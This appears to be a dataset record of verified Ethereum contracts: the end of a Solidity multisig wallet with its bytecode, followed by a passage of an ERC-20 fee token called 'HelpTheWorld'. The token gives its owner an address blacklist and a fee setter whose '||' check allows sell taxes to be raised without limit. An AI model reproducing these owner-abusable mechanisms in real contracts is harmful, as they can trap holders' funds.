notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610538578063b5dc40c3146105cf578063b77bf60014610647578063ba51a6df14610670578063c01a8c8414610693578063c6427474146106b6578063d74f8edd1461074f578063dc8452cd14610778578063e20056e6146107a1578063ee22610b146107f9575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b341561018257600080fd5b610198600480803590602001909190505061081c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085b565b005b341561021e57600080fd5b6102346004808035906020019091905050610af7565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c9f565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cbf565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cee565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d80565b005b341561036957600080fd5b61037f6004808035906020019091905050610f82565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba6004808035906020019091905050611068565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611134565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e1611190565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610524578082015181840152602081019050610509565b505050509050019250505060405180910390f35b341561054357600080fd5b610578600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611224565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bb5780820151818401526020810190506105a0565b505050509050019250505060405180910390f35b34156105da57600080fd5b6105f06004808035906020019091905050611380565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610633578082015181840152602081019050610618565b505050509050019250505060405180910390f35b341561065257600080fd5b61065a6115aa565b6040518082815260200191505060405180910390f35b341561067b57600080fd5b61069160048080359060200190919050506115b0565b005b341561069e57600080fd5b6106b4600480803590602001909190505061166a565b005b34156106c157600080fd5b610739600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611847565b6040518082815260200191505060405180910390f35b341561075a57600080fd5b610762611866565b6040518082815260200191505060405180910390f35b341561078357600080fd5b61078b61186b565b6040518082815260200191505060405180910390f35b34156107ac57600080fd5b6107f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611871565b005b341561080457600080fd5b61081a6004808035906020019091905050611b88565b005b60038181548110151561082b57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089757600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f057600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a78578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a6b5760036001600380549050038154811015156109e257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a1d57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a78565b818060010192505061094d565b6001600381818054905003915081610a909190611f5d565b506003805490506004541115610aaf57610aae6003805490506115b0565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5057600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bbb57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610beb57600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d7957838015610d2d575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d605750828015610d5f575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d6c576001820191505b8080600101915050610cf6565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dba57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e1457600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610e3b57600080fd5b60016003805490500160045460328211158015610e585750818111155b8015610e65575060008114155b8015610e72575060008214155b1515610e7d57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610ee99190611f89565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b60038054905081101561106057600160008581526020019081526020016000206000600383815481101515610fc057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611040576001820191505b6004548214156110535760019250611061565b8080600101915050610f8f565b5b5050919050565b600080600090505b60038054905081101561112e576001600084815260200190815260200160002060006003838154811015156110a157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611121576001820191505b8080600101915050611070565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b611198611fb5565b600380548060200260200160405190810160405280929190818152602001828054801561121a57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111d0575b5050505050905090565b61122c611fc9565b611234611fc9565b6000806005546040518059106112475750595b9080825280602002602001820160405250925060009150600090505b6005548110156113035785801561129a575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112cd57508480156112cc575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156112f6578083838151811015156112e157fe5b90602001906020020181815250506001820191505b8080600101915050611263565b8787036040518059106113135750595b908082528060200260200182016040525093508790505b8681101561137557828181518110151561134057fe5b906020019060200201518489830381518110151561135a57fe5b9060200190602002018181525050808060010191505061132a565b505050949350505050565b611388611fb5565b611390611fb5565b6000806003805490506040518059106113a65750595b9080825280602002602001820160405250925060009150600090505b600380549050811015611505576001600086815260200190815260200160002060006003838154811015156113f357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114f85760038181548110151561147b57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114b557fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506113c2565b816040518059106115135750595b90808252806020026020018201604052509350600090505b818110156115a257828181518110151561154157fe5b90602001906020020151848281518110151561155957fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808060010191505061152b565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115ea57600080fd5b60038054905081603282111580156116025750818111155b801561160f575060008114155b801561161c575060008214155b151561162757600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116c357600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561171f57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561178b57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361184085611b88565b5050505050565b6000611854848484611e0b565b905061185f8161166a565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ad57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561190657600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561196057600080fd5b600092505b600380549050831015611a4b578473ffffffffffffffffffffffffffffffffffffffff1660038481548110151561199857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a3e57836003848154811015156119f057fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a4b565b8280600101935050611965565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611be357600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c4e57600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611c7e57600080fd5b611c8786610f82565b15611e0357600080878152602001908152602001600020945060018560030160006101000a81548160ff0219169083151502179055508460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168560010154866002016040518082805460018160011615610100020316600290048015611d665780601f10611d3b57610100808354040283529160200191611d66565b820191906000526020600020905b815481529060010190602001808311611d4957829003601f168201915b505091505060006040518083038185876187965a03f19250505015611db757857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e02565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b505050505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611e3457600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611ef3929190611fdd565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b815481835581811511611f8457818360005260206000209182019101611f83919061205d565b5b505050565b815481835581811511611fb057818360005260206000209182019101611faf919061205d565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061201e57805160ff191683800117855561204c565b8280016001018555821561204c579182015b8281111561204b578251825591602001919060010190612030565b5b509050612059919061205d565b5090565b61207f91905b8082111561207b576000816000905550600101612063565b5090565b905600a165627a7a723058200c3269d8ab0022756fbbc2bc7deb7261da4d01b54f1e84c3cb4d92822c764c9c0029
|
{"success": true, "error": null, "results": {}}
| 8,280 |
0xa4f43a733c326020b0e5bdc89f5204cf3cee435d
|
// SPDX-License-Identifier: Unlicensed
//https://twitter.com/CryptoHELPToken
//https://cryptohelptheworld.com
//https://t.me/HelpTheWorldToken
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HelpTheWorld is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HelpTheWorld";
string private constant _symbol = "HELP!";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private _removeTxLimit = false;
uint256 public _maxTxAmount = 2e7 * 10**9;
uint256 public _maxWalletSize = 2e7 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
if(!_removeTxLimit){
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(!_removeTxLimit){
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
bots[bots_[i]] = true;
}
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
